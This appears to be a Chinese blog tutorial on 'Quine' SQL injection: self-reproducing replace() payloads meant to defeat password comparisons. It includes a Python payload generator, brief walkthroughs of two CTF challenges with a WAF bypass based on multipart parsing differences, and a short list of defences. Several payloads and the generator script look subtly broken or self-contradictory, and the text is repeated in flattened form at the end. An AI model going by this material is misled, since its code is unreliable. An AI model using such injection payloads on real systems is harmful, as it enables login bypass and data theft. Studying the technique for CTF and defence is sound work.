quine注入学习
字数 1290 2025-08-29 08:30:13

Quine注入技术详解

1. Quine注入概述

Quine注入是一种特殊的SQL注入技术,其核心思想是利用自生成代码(Quine)的特性,构造一个Payload,使得注入的SQL代码在执行时能够自我复制自我生成,实现输入输出一致,从而绕过各种安全限制。

2. 基础概念与函数

2.1 replace()函数

Quine注入主要依赖于SQL中的replace()函数,其语法如下:

replace(str, from_str, to_str)

参数说明:

  • str:原始字符串,需要进行替换的字符串
  • from_str:需要被替换的子字符串
  • to_str:替换后的新子字符串

如果from_str不存在于str中,则返回原始字符串。

2.2 ASCII字符表示

在构造Quine时,常用ASCII字符的数值表示:

  • char(46)表示.
  • char(34)表示"(双引号)
  • char(39)表示'(单引号)

3. Quine构造原理

3.1 基本构造过程

  1. 初始构造:
replace(".",char(46),".")

这个语句会返回.,因为将.替换为.(即不变)

  1. 进一步替换:
replace("replace(\".\",char(46),\".\")",".",char(46))

这个语句将replace(".",char(46),".")中的.替换为char(46),结果接近原始输入

3.2 解决引号问题

初始构造存在单双引号不一致的问题,解决方案:

replace(replace('.',char(39),replace('.',char(46),'.')),'.',char(46))

解析:

  1. 内层replace('.',char(46),'.')返回'.'
  2. 外层将'.'中的'替换为replace('.',char(46),'.'),即'.'
  3. 最终返回'.',解决了引号不一致问题

3.3 最终Payload

完整的Quine注入Payload形式:

replace(replace('replace(replace(\'.\',char(39),replace(\'.\',char(46),\'.\')),\'\',char(46))',char(39),replace('replace(replace(\'.\',char(39),replace(\'.\',char(46),\'.\')),\'\',char(46))',char(46),'replace(replace(\'.\',char(39),replace(\'.\',char(46),\'.\')),\'\',char(46))')),'\',char(46))

4. 实用脚本

以下是一个自动生成Quine注入Payload的Python脚本:

def generate_quine():
    base = "replace('.',char(46),'.')"
    step1 = f"replace({base},'.',char(46))"
    step2 = f"replace('{step1}',char(39),'{step1}')"
    step3 = f"replace({step2},'.',char(46))"
    return step3

print(generate_quine())

5. 实际案例分析

5.1 [第五空间 2021]yet_another_mysql_injection

题目特点

  • 检查username是否为admin
  • 过滤了大多数盲注函数
  • 过滤了空格
  • 对password进行强类型比较

解决方案
使用Quine注入Payload,将空格替换为/**/等注释形式绕过过滤。

5.2 [TPCTF2025]supersqli

题目特点

  • 存在SQL注入漏洞
  • 有严格的WAF过滤
  • 存在解析差异可利用

绕过技巧

  1. 利用Go和Django对multipart请求处理的差异:
    • Go使用boundary分割
    • Django使用Content-Disposition分割
  2. 构造特殊请求头绕过WAF检测
  3. 使用Quine注入Payload,确认为两列后使用:
    1' union select 1,2,--+
    

6. 防御措施

针对Quine注入的防御建议:

  1. 使用参数化查询(预编译语句)
  2. 严格过滤和转义特殊字符
  3. 限制数据库函数的使用权限
  4. 实现多层次的WAF规则
  5. 统一不同组件对请求的解析方式

7. 参考资源

通过深入理解Quine注入的原理和构造方法,安全研究人员可以更好地发现和防御这类高级SQL注入攻击。

Quine注入技术详解 1. Quine注入概述 Quine注入是一种特殊的SQL注入技术,其核心思想是利用 自生成代码(Quine) 的特性,构造一个Payload,使得注入的SQL代码在执行时能够 自我复制 或 自我生成 ,实现输入输出一致,从而绕过各种安全限制。 2. 基础概念与函数 2.1 replace()函数 Quine注入主要依赖于SQL中的 replace() 函数,其语法如下: 参数说明: str :原始字符串,需要进行替换的字符串 from_str :需要被替换的子字符串 to_str :替换后的新子字符串 如果 from_str 不存在于 str 中,则返回原始字符串。 2.2 ASCII字符表示 在构造Quine时,常用ASCII字符的数值表示: char(46) 表示 . char(34) 表示 " (双引号) char(39) 表示 ' (单引号) 3. Quine构造原理 3.1 基本构造过程 初始构造: 这个语句会返回 . ,因为将 . 替换为 . (即不变) 进一步替换: 这个语句将 replace(".",char(46),".") 中的 . 替换为 char(46) ,结果接近原始输入 3.2 解决引号问题 初始构造存在单双引号不一致的问题,解决方案: 解析: 内层 replace('.',char(46),'.') 返回 '.' 外层将 '.' 中的 ' 替换为 replace('.',char(46),'.') ,即 '.' 最终返回 '.' ,解决了引号不一致问题 3.3 最终Payload 完整的Quine注入Payload形式: 4. 实用脚本 以下是一个自动生成Quine注入Payload的Python脚本: 5. 实际案例分析 5.1 [ 第五空间 2021]yet_ another_ mysql_ injection 题目特点 : 检查username是否为admin 过滤了大多数盲注函数 过滤了空格 对password进行强类型比较 解决方案 : 使用Quine注入Payload,将空格替换为 /**/ 等注释形式绕过过滤。 5.2 [ TPCTF2025 ]supersqli 题目特点 : 存在SQL注入漏洞 有严格的WAF过滤 存在解析差异可利用 绕过技巧 : 利用Go和Django对multipart请求处理的差异: Go使用boundary分割 Django使用Content-Disposition分割 构造特殊请求头绕过WAF检测 使用Quine注入Payload,确认为两列后使用: 6. 防御措施 针对Quine注入的防御建议: 使用参数化查询(预编译语句) 严格过滤和转义特殊字符 限制数据库函数的使用权限 实现多层次的WAF规则 统一不同组件对请求的解析方式 7. 参考资源 SQL注入高级技巧:Quine注入 OWASP SQL注入防御指南 MySQL官方安全文档 通过深入理解Quine注入的原理和构造方法,安全研究人员可以更好地发现和防御这类高级SQL注入攻击。